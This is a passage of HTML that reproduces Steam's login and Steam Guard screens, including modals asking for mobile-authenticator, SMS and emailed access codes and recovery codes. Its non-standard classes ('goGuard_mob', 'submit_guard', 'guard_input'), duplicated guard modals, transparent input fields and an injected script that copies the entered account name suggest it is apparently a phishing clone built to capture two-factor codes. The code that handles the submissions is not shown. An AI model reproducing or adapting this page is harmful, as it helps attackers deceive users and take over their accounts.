<p>You do not have a phone number associated with your Steam account, so we are unable to verify account ownership via a text message. Do you have the recovery code that you wrote down when you added the mobile authenticator? The recovery code begins with the letter 'R'.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_rcode" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Please enter the recovery code in the box below. The recovery code begins with the letter 'R'.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_rcode_incorrectcode" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Sorry but, <br>that isn't quite right...</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_rcode_incorrectcode_exhausted" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Sorry but, <br>that isn't quite right...</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_rcode_message" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Sorry but, <br>that isn't quite right...</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_couldnthelp" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>If you have lost access to your mobile device, the mobile phone number associated with your account, and don't have the recovery code that you wrote down when you added the mobile authenticator, then please contact Steam Support for assistance recovering access to your account.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_help" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Sorry you're having trouble. We know your Steam account is valuable to you, and we're committed to helping you keep access to it in the right hands.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_failure" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>There was an error encountered while processing your request.</p>
</div>
</div>
</div>
<div id="login_twofactorauth_details_messages" class="twofactorauth_details_messages">
<div class="twofactorauth_details" id="login_twofactorauth_details_entercode" style="display: block;">
Enter the current code displayed in the Steam Mobile app: </div>
<div class="twofactorauth_details" id="login_twofactorauth_details_selfhelp" style="display: none;">
If you have lost your mobile device or uninstalled the Steam app and can no longer receive codes, then you may remove the mobile authenticator from your account. This will reduce the security on your account, so you should add a mobile authenticator to a new mobile device afterwards. </div>
<div class="twofactorauth_details" id="login_twofactorauth_details_help" style="display: none;">
Please contact Steam Support for assistance from a member of our staff. </div>
<div class="twofactorauth_details" id="login_twofactorauth_details_selfhelp_failure" style="display: none;">
</div>
<div class="twofactorauth_details" id="login_twofactorauth_details_selfhelp_rcode_incorrectcode" style="display: none;">
</div>
<div class="twofactorauth_details" id="login_twofactorauth_details_selfhelp_rcode_incorrectcode_exhausted" style="display: none;">
</div>
</div>
<div class="twofactorauthcode_entry_area">
<div id="login_twofactor_authcode_entry">
<div class="twofactorauthcode_entry_box">
<input class="twofactorauthcode_entry_input authcode_placeholder" id="twofacq" type="text" placeholder="enter your code here" autocomplete="off">
</div>
</div>
<div id="login_twofactor_authcode_help_supportlink" style="display: none;">
<a href="https://support.steampowered.com/kb_article.php?ref=4020-ALZM-5519">
Contact Steam Support for help with account access </a>
</div>
</div>
<div class="modal_buttons" id="login_twofactorauth_buttonsets">
<div class="auth_buttonset" id="login_twofactorauth_buttonset_entercode" style="display: block;">
<div type="submit" class="auth_button leftbtn" data-modalstate="submit">
<div class="auth_button_h3">Submit</div>
<div class="auth_button_h5">my authenticator code</div>
</div>
<div class="auth_button" data-modalstate="selfhelp">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I no longer have access to my Mobile Authenticator codes</div>
</div>
<div style="clear: left;"></div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_incorrectcode" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="submit">
<div class="auth_button_h3">I want to try again</div>
<div class="auth_button_h5">and I've re-entered my authenticator code above</div>
</div>
<div class="auth_button" data-modalstate="selfhelp">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I think I need assistance from Steam Support...</div>
</div>
<div style="clear: left;"></div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_sms_remove_start">
<div class="auth_button_h3" style="font-size: 16px;">Remove authenticator</div>
<div class="auth_button_h5">and go back to receiving codes by email</div>
</div>
<div class="auth_button" data-modalstate="selfhelp_sms_reset_start">
<div class="auth_button_h3">Use this device</div>
<div class="auth_button_h5">and get authenticator codes on this app</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_sms_remove" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_sms_remove_sendcode">
<div class="auth_button_h3">OK!</div>
<div class="auth_button_h5">Send me the text message</div>
</div>
<div class="auth_button" data-modalstate="selfhelp_nosms">
<div class="auth_button_h3">I can't</div>
<div class="auth_button_h5">because I no longer have access to that phone number</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_sms_remove_entercode" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_sms_remove_checkcode">
<div class="auth_button_h3">Submit</div>
<div class="auth_button_h5">I entered the code above</div>
</div>
<div class="auth_button" data-modalstate="selfhelp_nosms">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I'm not receiving the text message</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_sms_remove_incorrectcode" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_sms_remove_checkcode">
<div class="auth_button_h3">Submit</div>
<div class="auth_button_h5">I re-entered the code. Let's try again.</div>
</div>
<div class="auth_button" data-modalstate="selfhelp_nosms">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I'm not receiving the text message</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_twofactor_removed" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_sms_remove_complete">
<div class="auth_button_h3">Log in</div>
<div class="auth_button_h5">with the mobile authenticator removed</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_twofactor_replaced" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_sms_remove_complete">
<div class="auth_button_h3">Log in</div>
<div class="auth_button_h5">to the Steam Mobile app</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_nosms" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_rcode">
<div class="auth_button_h3">Yes</div>
<div class="auth_button_h5">I have the recovery code that begins with 'R'</div>
</div>
<div class="auth_button" data-modalstate="selfhelp_couldnthelp">
<div class="auth_button_h3">No</div>
<div class="auth_button_h5">I don't have a code like that</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_rcode" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_rcode_checkcode">
<div class="auth_button_h3">Submit</div>
<div class="auth_button_h5">my recovery code</div>
</div>
<div class="auth_button" data-modalstate="selfhelp_couldnthelp">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I think I need assistance from Steam Support...</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_rcode_incorrectcode" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_rcode_checkcode">
<div class="auth_button_h3">Submit</div>
<div class="auth_button_h5">I re-entered the code. Let's try again.</div>
</div>
<div class="auth_button" data-modalstate="selfhelp_couldnthelp">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I think I need assistance from Steam Support...</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_rcode_incorrectcode_exhausted" style="display: none;">
<div class="auth_button" data-modalstate="selfhelp_couldnthelp">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I think I need assistance from Steam Support...</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_couldnthelp" style="display: none;">
<a class="auth_button leftbtn" href="https://help.steampowered.com/">
<div class="auth_button_h3">Contact us</div>
<div class="auth_button_h5">for help with account access</div>
</a>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_waiting" style="display: none;">
</div>
</div>
<div style="display: none;">
<input type="submit">
</div>
</form>
<script>var vallogin =document.getElementById('steamAccountName').value; $(".auth_modal_h1").html("Hello <span id=\"login_twofactorauth_message_entercode_accountname\">"+vallogin+"</span>!</div>");</script>
<div class="tutten"><div class="newmodal_background" style="opacity: 0.8; display: none;"></div></div>
<div id="mobile_guard" class="newmodal" style="position: fixed; z-index: 1000; max-width: 400px; left: 264px; top: 207px; display: none;"><div class="modal_top_bar"></div><div class="newmodal_header_border"><div class="newmodal_header"><div class="newmodal_close"></div><div class="title_text">Steam Guard Mobile Authentication</div></div></div><div class="newmodal_content_border"><div class="newmodal_content" style="max-height: 631px;"><div><div class="login_modal loginTwoFactorCodeModal" style="display: block;">
<form class="goGuard_mob" onsubmit="return false;">
<div class="twofactorauth_message_area">
<div id="login_twofactorauth_icon" class="auth_icon auth_icon_phone">
</div>
<div class="twofactorauth_messages" id="login_twofactorauth_messages">
<div class="twofactorauth_message twofactor_block" id="login_twofactorauth_message_entercode" style="display: block;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>This account is currently using a Steam Guard Mobile Authenticator.</p>
</div>
<div class="twofactorauth_message smscode_block" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>We have sent a text message containing a confirmation code to your phone number ending in <span class="smscode_last_digits"></span>. Enter the code below so we can authenticate you.</p>
</div>
<div class="twofactorauth_message twofactor_block_incorrect" id="login_twofactorauth_message_incorrectcode" style="display: none;">
<div class="auth_modal_h1">Whoops!</div>
<p>Sorry but, <br>that isn't quite right...</p>
</div>
<div class="twofactorauth_message smscode_block_incorrect" id="login_twofactorauth_message_incorrectcode" style="display: none;">
<div class="auth_modal_h1">Whoops!</div>
<p>Sorry but, that isn't quite right...<br>We have sent a text message containing a confirmation code to your phone number ending in <span class="smscode_last_digits"></span>.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Sorry you're having trouble. We know your Steam account is valuable to you, and we're committed to helping you keep access to it in the right hands.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_sms_remove" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>We'll send a text message containing an account recovery code to your phone number ending in <span id="login_twofactorauth_selfhelp_sms_remove_last_digits"></span>. Once you enter the code, we will remove the mobile authenticator from your account and you will receive Steam Guard codes via email.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_sms_remove_entercode" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>We have sent a text message containing a confirmation code to your phone number ending in <span id="login_twofactorauth_selfhelp_sms_remove_entercode_last_digits"></span>. Enter the code below so we can remove the mobile authenticator from your account.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_sms_remove_incorrectcode" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Sorry but, <br>that isn't quite right...</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_twofactor_removed" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>We have removed the mobile authenticator from your account. Next time you log in, you will have to enter a Steam Guard code that is sent to your email address.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_twofactor_replaced" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>You can now use this device to get mobile authenticator codes for your account. Any other device that was previously providing authenticator codes for your account will no longer be able to do so.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_nosms" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>You do not have a phone number associated with your Steam account, so we are unable to verify account ownership via a text message. Do you have the recovery code that you wrote down when you added the mobile authenticator? The recovery code begins with the letter 'R'.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_rcode" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Please enter the recovery code in the box below. The recovery code begins with the letter 'R'.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_rcode_incorrectcode" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Sorry but, <br>that isn't quite right...</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_rcode_incorrectcode_exhausted" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Sorry but, <br>that isn't quite right...</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_rcode_message" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Sorry but, <br>that isn't quite right...</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_couldnthelp" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>If you have lost access to your mobile device, the mobile phone number associated with your account, and don't have the recovery code that you wrote down when you added the mobile authenticator, then please contact Steam Support for assistance recovering access to your account.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_help" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>Sorry you're having trouble. We know your Steam account is valuable to you, and we're committed to helping you keep access to it in the right hands.</p>
</div>
<div class="twofactorauth_message" id="login_twofactorauth_message_selfhelp_failure" style="display: none;">
<div class="auth_modal_h1">Hello <span class="login_twofactorauth_message_entercode_accountname">ddddfe3</span>!</div>
<p>There was an error encountered while processing your request.</p>
</div>
</div>
</div>
<div id="login_twofactorauth_details_messages" class="twofactorauth_details_messages">
<div class="twofactorauth_details twofactor_block" id="login_twofactorauth_details_entercode" style="display: block;">
Enter the current code displayed in the Steam Mobile app: </div>
<div class="twofactorauth_details smscode_block" style="display: none;">
Enter the SMS code sent to your phone number ending in <span class="smscode_last_digits"></span>: </div>
<div class="twofactorauth_details" id="login_twofactorauth_details_selfhelp" style="display: none;">
If you have lost your mobile device or uninstalled the Steam app and can no longer receive codes, then you may remove the mobile authenticator from your account. This will reduce the security on your account, so you should add a mobile authenticator to a new mobile device afterwards. </div>
<div class="twofactorauth_details" id="login_twofactorauth_details_help" style="display: none;">
Please contact Steam Support for assistance from a member of our staff. </div>
<div class="twofactorauth_details" id="login_twofactorauth_details_selfhelp_failure" style="display: none;">
</div>
<div class="twofactorauth_details" id="login_twofactorauth_details_selfhelp_rcode_incorrectcode" style="display: none;">
</div>
<div class="twofactorauth_details" id="login_twofactorauth_details_selfhelp_rcode_incorrectcode_exhausted" style="display: none;">
</div>
</div>
<div class="twofactorauthcode_entry_area">
<div id="login_twofactor_authcode_entry">
<div class="twofactorauthcode_entry_box">
<input class="guard_input twofactorauthcode_entry_input authcode_placeholder" type="text" placeholder="enter your code here" autocomplete="off" style="background-color: #00ffff00;border: none;">
</div>
</div>
<div id="login_twofactor_authcode_help_supportlink" style="display: none;">
<a href="https://support.steampowered.com/kb_article.php?ref=4020-ALZM-5519">
Contact Steam Support for help with account access </a>
</div>
</div>
<div class="modal_buttons" id="login_twofactorauth_buttonsets">
<div class="auth_buttonset" id="login_twofactorauth_buttonset_entercode" style="display: block;">
<div type="submit" class="submit_guard auth_button leftbtn" data-modalstate="submit">
<div class="auth_button_h3">Submit</div>
<div class="auth_button_h5 twofactor_block">my authenticator code</div>
<div class="auth_button_h5 smscode_block" style="display:none;">my SMS code</div>
</div>
<div class="auth_button" data-modalstate="selfhelp">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5 twofactor_block">I no longer have access to my Mobile Authenticator codes</div>
<div class="auth_button_h5 smscode_block" style="display:none;">I no longer have access to my mobile phone</div>
</div>
<div style="clear: left;"></div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_incorrectcode" style="display: none;">
<div class="submit_guard auth_button leftbtn" data-modalstate="submit">
<div class="auth_button_h3">I want to try again</div>
<div class="auth_button_h5 twofactor_block_incorrect">and I've re-entered my authenticator code above</div>
<div class="auth_button_h5 smscode_block_incorrect">and I've re-entered my SMS code above</div>
</div>
<div class="auth_button" data-modalstate="selfhelp">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I think I need assistance from Steam Support...</div>
</div>
<div style="clear: left;"></div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_sms_remove_start">
<div class="auth_button_h3" style="font-size: 16px;">Remove authenticator</div>
<div class="auth_button_h5">and go back to receiving codes by email</div>
</div>
<div class="auth_button" data-modalstate="selfhelp_sms_reset_start">
<div class="auth_button_h3">Use this device</div>
<div class="auth_button_h5">and get authenticator codes on this app</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_sms_remove" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_sms_remove_sendcode">
<div class="auth_button_h3">OK!</div>
<div class="auth_button_h5">Send me the text message</div>
</div>
<div class="auth_button" data-modalstate="selfhelp_nosms">
<div class="auth_button_h3">I can't</div>
<div class="auth_button_h5">because I no longer have access to that phone number</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_sms_remove_entercode" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_sms_remove_checkcode">
<div class="auth_button_h3">Submit</div>
<div class="auth_button_h5">I entered the code above</div>
</div>
<div class="auth_button" data-modalstate="selfhelp_nosms">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I'm not receiving the text message</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_sms_remove_incorrectcode" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_sms_remove_checkcode">
<div class="auth_button_h3">Submit</div>
<div class="auth_button_h5">I re-entered the code. Let's try again.</div>
</div>
<div class="auth_button" data-modalstate="selfhelp_nosms">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I'm not receiving the text message</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_twofactor_removed" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_sms_remove_complete">
<div class="auth_button_h3">Log in</div>
<div class="auth_button_h5">with the mobile authenticator removed</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_twofactor_replaced" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_sms_remove_complete">
<div class="auth_button_h3">Log in</div>
<div class="auth_button_h5">to the Steam Mobile app</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_nosms" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_rcode">
<div class="auth_button_h3">Yes</div>
<div class="auth_button_h5">I have the recovery code that begins with 'R'</div>
</div>
<div class="auth_button" data-modalstate="selfhelp_couldnthelp">
<div class="auth_button_h3">No</div>
<div class="auth_button_h5">I don't have a code like that</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_rcode" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_rcode_checkcode">
<div class="auth_button_h3">Submit</div>
<div class="auth_button_h5">my recovery code</div>
</div>
<div class="auth_button" data-modalstate="selfhelp_couldnthelp">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I think I need assistance from Steam Support...</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_rcode_incorrectcode" style="display: none;">
<div class="auth_button leftbtn" data-modalstate="selfhelp_rcode_checkcode">
<div class="auth_button_h3">Submit</div>
<div class="auth_button_h5">I re-entered the code. Let's try again.</div>
</div>
<div class="auth_button" data-modalstate="selfhelp_couldnthelp">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I think I need assistance from Steam Support...</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_rcode_incorrectcode_exhausted" style="display: none;">
<div class="auth_button" data-modalstate="selfhelp_couldnthelp">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I think I need assistance from Steam Support...</div>
</div>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_selfhelp_couldnthelp" style="display: none;">
<a class="auth_button leftbtn" href="https://help.steampowered.com/">
<div class="auth_button_h3">Contact us</div>
<div class="auth_button_h5">for help with account access</div>
</a>
</div>
<div class="auth_buttonset" id="login_twofactorauth_buttonset_waiting" style="display: none;">
</div>
</div>
<div style="display: none;">
<input type="submit">
</div>
</form>
</div></div></div></div></div>
<div id="mail_guard" class="newmodal" style="position: fixed; z-index: 1000; max-width: 400px; left: 264px; top: 207px; display: none;"><div class="modal_top_bar"></div><div class="newmodal_header_border"><div class="newmodal_header"><div class="newmodal_close"></div><div class="title_text">Steam Guard</div></div></div><div class="newmodal_content_border"><div class="newmodal_content" style="max-height: 631px;"><div><div class="login_modal loginTwoFactorCodeModal" style="display: block;">
<form class="goGuard_mail" onsubmit="return false;">
<div class="auth_message_area">
<div id="auth_icon" class="auth_icon auth_icon_mail">
</div>
<div class="auth_messages" id="auth_messages">
<div class="auth_message" id="auth_message_entercode" style="">
<div class="auth_modal_h1">Hello!</div>
<p>We see you're logging in to Steam from a new browser or a new computer. Or maybe it's just been a while...</p>
</div>
<div class="auth_message" id="auth_message_checkspam" style="display: none;">
<div class="auth_modal_h1">Mistaken for spam?</div>
<p>Did you check your spam folder? If you don't see a recent message from Steam Support in your inbox, try looking there.</p>
</div>
<div class="auth_message" id="auth_message_success" style="display: none;">
<div class="auth_modal_h1">Success!</div>
<p>You now have access to your Steam account here.</p>
</div>
<div class="auth_message" id="auth_message_incorrectcode" style="display: none;">
<div class="auth_modal_h1">Whoops!</div>
<p>Sorry but, <br>that isn't quite right...</p>
</div>
<div class="auth_message" id="auth_message_help" style="display: none;">
<div class="auth_modal_h1">Let us help!</div>
<p>Sorry you're having trouble. We know your Steam account is valuable to you, and we're committed to helping you keep access to it in the right hands.</p>
</div>
</div>
</div>
<div id="auth_details_messages" class="auth_details_messages">
<div class="auth_details" id="auth_details_entercode" style="">
As an added account security measure, you’ll need to grant access to this browser by entering the special code we’ve just sent to your email address at. </div>
<div class="auth_details" id="auth_details_success" style="display: none;">
If this is a public computer, be sure to log out of Steam when you're ready to quit this browser session. </div>
<div class="auth_details" id="auth_details_help" style="display: none;">
Please contact Steam Support for assistance from a member of our staff. Legitimate claims for help with account access are our number one priority. </div>
</div>
<div class="authcode_entry_area">
<div id="authcode_entry">
<div class="authcode_entry_box">
<input class="guard_input authcode_entry_input authcode_placeholder" style="background-color: #00ffff00;border: none;" type="text" value="" placeholder="enter your code here">
</div>
</div>
<div id="authcode_help_supportlink" style="display: none;">
<a href="https://support.steampowered.com/kb_article.php?ref=4020-ALZM-5519" data-ajax="false" data-externallink="1">Contact Steam Support for help with account access</a>
</div>
</div>
<div class="modal_buttons" id="auth_buttonsets">
<div class="auth_buttonset" id="auth_buttonset_entercode" style="">
<div data-modalstate="submit" class="submit_guard auth_button leftbtn">
<div class="auth_button_h3">Submit</div>
<div class="auth_button_h5">my special access code</div>
</div>
<div data-modalstate="checkspam" class="auth_button">
<div class="auth_button_h3">What message?</div>
<div class="auth_button_h5">I don't have any message from Steam Support...</div>
</div>
<div style="clear: left;"></div>
</div>
<div class="auth_buttonset" id="auth_buttonset_checkspam" style="display: none;">
<div data-modalstate="submit" class="auth_button leftbtn">
<div class="auth_button_h3">Found it!</div>
<div class="auth_button_h5">and I've entered my special access code above</div>
</div>
<div data-modalstate="help" class="auth_button">
<div class="auth_button_h3">No luck still...</div>
<div class="auth_button_h5">I don't have any message from Steam Support...</div>
</div>
<div style="clear: left;"></div>
</div>
<div class="auth_buttonset" id="auth_buttonset_success" style="display: none;">
<div class="auth_button auth_button_spacer">
</div>
<a data-modalstate="complete" class="auth_button" id="success_continue_btn" href="javascript:void(0);">
<div class="auth_button_h3">Proceed to Steam!</div>
<div class="auth_button_h5"> <br> </div>
</a>
<div style="clear: left;"></div>
</div>
<div class="auth_buttonset" id="auth_buttonset_incorrectcode" style="display: none;">
<div data-modalstate="submit" class="submit_guard auth_button leftbtn">
<div class="auth_button_h3">I want to try again</div>
<div class="auth_button_h5">and I've re-entered my special access code above</div>
</div>
<div data-modalstate="help" class="auth_button">
<div class="auth_button_h3">Please help</div>
<div class="auth_button_h5">I think I need assistance from Steam Support...</div>
</div>
<div style="clear: left;"></div>
</div>
<div class="auth_buttonset" id="auth_buttonset_waiting" style="display: none;">
</div>
</div>
<div style="" id="auth_details_computer_name" class="auth_details_messages">
To easily recognize this browser among the list of devices Steam Guard has enabled, give the browser a friendly name - at least 6 characters long. <div id="friendly_name_box" class="friendly_name_box">
<input class="authcode_entry_input authcode_placeholder" style="background-color: #00ffff00;border: none;" type="text" placeholder="enter a friendly name here">
</div>
</div>
<div style="display: none;">
<input type="submit">
</div>
</form>
</div></div></div></div></div>
<div class="miniprofile_hover" style="display: none;"><div class="shadow_ul"></div><div class="shadow_top"></div><div class="shadow_ur"></div><div class="shadow_left"></div><div class="shadow_right"></div><div class="shadow_bl"></div><div class="shadow_bottom"></div><div class="shadow_br"></div><div class="miniprofile_hover_inner shadow_content"></div><div class="hover_arrow left miniprofile_arrow"><div class="miniprofile_arrow_inner"></div></div><div class="hover_arrow right miniprofile_arrow"><div class="miniprofile_arrow_inner"></div></div></div></body></html>